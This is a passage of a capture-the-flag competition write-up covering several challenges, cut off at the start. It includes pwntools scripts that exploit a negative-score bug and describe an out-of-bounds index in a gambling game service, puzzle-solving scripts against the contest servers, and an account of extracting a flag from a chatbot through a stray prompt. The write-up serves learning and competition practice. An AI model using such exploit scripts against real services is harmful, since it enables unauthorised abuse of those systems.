info["next"].items(): tmp_buf = buf[:] for sw, f in info["code"]: if sw: if d[v][f] != "": tmp_buf += d[v][f] else: break else: if info[f] != "": tmp_buf += info[f] else: break else: res = find_path(v, tmp_buf) if res: return res return None start = "C1843" flag = find_path(start, "") import base64 with open("flag.jpg", "wb") as f: f.write(base64.b64decode(flag.encode()))

FSC

M(X) -> load
A(X) -> double
R(a, b) -> check (now buffer size + a & 0xFF == 0)

After a little analysis, we found out the aboves.

We wrote a parse code for defines and arguments by python.

import re u = '''A(M(12))R(48,13) A(M(14))R(66,15) M(16)R(150,17) A(M(18))R(36,19) A(M(20))R(46,21) M(22)R(131,23) A(M(24))R(32,25) M(26)R(161,27) A(M(28))R(66,29) A(M(30))R(26,31) A(M(32))R(34,33) M(34)R(140,35) M(36)R(223,37) A(M(38))R(28,39) A(M(40))R(88,41) A(M(42))R(90,43) A(M(44))R(10,45) M(46)R(155,47) M(48)R(159,49) A(M(50))R(116,51) M(52)R(141,53) M(54)R(151,55) A(M(56))R(22,57) M(58)R(140,59) A(M(60))R(122,61) M(62)R(154,63) M(64)R(153,65) A(M(66))R(22,67) M(68)R(146,69) A(M(70))R(66,71)''' z = ('SCTF{', '01', 'f+38', 'f+34', 'f+32', 'f+36', 'f+40', 'f+41', 'f+42', 'f+43', 'f+44', 'f[27]', 'f+100', 'f[18]', 'f+82', 'f[5]', 'f+56', 'f[15]', 'f+76', 'f[14]', 'f+74', 'f[29]', 'f+104', 'f[12]', 'f+70', 'f[11]', 'f+68', 'f[21]', 'f+88', 'f[7]', 'f+60', 'f[24]', 'f+94', 'f[8]', 'f+62', 'f[28]', 'f+102', 'f[13]', 'f+72', 'f[2]', 'f+50', 'f[0]', 'f+46', 'f[4]', 'f+54', 'f[22]', 'f+90', 'f[10]', 'f+66', 'f[3]', 'f+52', 'f[20]', 'f+86', 'f[19]', 'f+84', 'f[6]', 'f+58', 'f[16]', 'f+78', 'f[1]', 'f+48', 'f[17]', 'f+80', 'f[26]', 'f+98', 'f[25]', 'f+96', 'f[23]', 'f+92', 'f[9]', 'f+64', 'f[99]', '1337', '}') f = [0 for i in range(1337)] for line in u.splitlines(): a,b,c = map(int, re.findall(r'.*\((\d+).*\((\d+).*,(\d+)', line)[0]) if line.startswith('A'): exec(f'{z[a-1]} = {(256 - b)//2}') else: exec(f'{z[a-1]} = {(256 - b)}') print(bytes(f))

Seven's Game - High

There is an Out-Of-Bound on the free game index in the free game select

If you select higher index than 3 of free game type A and change to the free game type B, free game index points other global variable.

Seven's Game - Low

When the difficult is 50000, score can be lower than zero.

After make score be negative, we repeated to lose until could buy the flag.

from pwn import *

while 1:
    p = remote('sevensgamelow.sstf.site', 7777)

    try:
        p.sendlineafter(b': \n', b'5')
    except EOFError:
        p.close()
        sleep(1)
        continue
    p.sendlineafter(b': \n', b'2')
    p.sendlineafter(b': \n', b'0')

    p.sendlineafter(b': \n', b'2')
    p.sendlineafter(b']\n', b'5000')

    SIBAL = 1
    ZZGOOD = 0
    KK = 0

    while 1:
        # sleep(0.05)

        p.sendlineafter(b': \n', b'3')
        p.recvuntil(b': ')
        
        if int(p.recvline().strip().replace(b',',b'')) >= 5_000_000:
            SIBAL = 1
            break
        
        p.sendlineafter(b': \n', b'0')


        if ZZGOOD == 1:
            p.sendlineafter(b': \n', b'2')
            p.sendlineafter(b']\n', b'50000')
            ZZGOOD = 2

        p.sendlineafter(b': \n', b'1')
        x = p.recvline().strip()
        print(x)
        if x.split()[0].startswith(b'Y'):
            SIBAL = 0
            break

        if int(x.split()[1].replace(b',', b'')) > 50_500 and ZZGOOD == 0:
            ZZGOOD = 1

        # if int(x.split()[1].replace(b',', b'')) > 5_000_000 and ZZGOOD == 2:
        #     SIBAL = 1
        #     break

        p.recvuntil(b'+\n')
        p.recvuntil(b'+\n')
        x = p.recvline().strip()
        # print(x)
        
        # if x.startswith(b'Y'):
        #     SIBAL = 0
        #     break
        if x.startswith(b'Win the Bonus'):
            p.recvline()
            k = p.recvline()
            a, s = (k[8:10], k[22:24])
            p.recvline()
            b = p.recvline()
            p.recvline()
            q, w = (b[8:10], b[22:24])


            pay = b''.join([a,s,q,w])

            if pay == b'33333133':
                if ZZGOOD == 2:
                    p.sendline(b'2')
                else:
                    p.sendline(b'1')
            elif pay == b'31313333':
                if ZZGOOD == 2:
                    p.sendline(b'1')
                else:
                    p.sendline(b'4')
            elif pay == b'33343433':
                if ZZGOOD == 2:
                    p.sendline(b'3')
                else:
                    p.sendline(b'2')
            elif pay == b'34343134':
                if ZZGOOD == 2:
                    p.sendline(b'4')
                else:
                    p.sendline(b'3')
            elif pay == b'33313433':
                if ZZGOOD == 2:
                    p.sendline(b'1')
                else:
                    p.sendline(b'4')
            else:
                print(a,s,q,w)
                print(k.decode() + b.decode())
                print(pay)
                p.interactive()
            
            
            p.recvlines(2)
            print(a,s,q,w)
            print(b'\n'.join(p.recvlines(5)).decode())

        if KK:
            SIBAL = 1
            break
    if SIBAL:
        p.interactive()
    
    p.close()

Misc

Flip Puzzle

Since we can move at most 11 times, there are at most 4^11 move sequences to consider.
However, removing the cases where we move to the spot we were just before, there are at most 4 * 3^10 move sequences.
We can precompute everything before connecting to the remote server, solving the challenge.

import random from pwn import * class Challenge: goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" xpos = 0 ypos = 0 dist = 0 def init(self): self.status = self.goal def move(self, dx, dy): assert abs(dx + dy) == 1 assert dx == 0 or dy == 0 arr = self.status.split(",") p1 = self.xpos * 4 + self.ypos xxpos = (self.xpos + dx + 4) % 4 yypos = (self.ypos + dy + 4) % 4 p2 = xxpos * 4 + yypos arr[p1], arr[p2] = arr[p2], arr[p1] self.xpos = xxpos self.ypos = yypos self.status = ",".join(arr) options = [(0, +1), (0, -1), (+1, 0), (-1, 0)] conv = {} def rec(moves): chall = Challenge() for i in moves: chall.move(options[i][0], options[i][1]) tt = "".join(chall.status.split(",")) if tt not in conv.keys(): conv[tt] = moves else: if len(conv[tt]) > len(moves): conv[tt] = moves if len(moves) == 11: return for i in range(4): if len(moves) == 0 or (len(moves) >= 1 and moves[-1] != (i ^ 1)): rec(moves + [i]) rec([]) conn = remote("flippuzzle.sstf.site", 8098) for i in range(100): print(i) conn.recvline() s1 = str(conn.recvline().decode().strip()) s2 = str(conn.recvline().decode().strip()) s3 = str(conn.recvline().decode().strip()) s4 = str(conn.recvline().decode().strip()) cur = s1 + s2 + s3 + s4 print(conv[cur]) moves = conv[cur][::-1] for idx in moves: dx = -options[idx][0] dy = -options[idx][1] conn.sendline(str(dx).encode() + b"," + str(dy).encode()) print(conn.recvline()) print(conn.recvline())

Sam Knows

I made a chat bot with the Big(not that big) data based on me!

Once connected to the chat server, we were presented with the simple interface where we chatted with some kind of AI bot. After couple of replies, we started searching for the corpus used for learning it and successfully found it at Baidu. Then, tried to find out a logic in responses by going through different questions used in corpus.

To our luck, it seems that during our deduction phase we got the flag in most inconspicuous way by asking incomplete question "who wrote the":

sam_knows_interface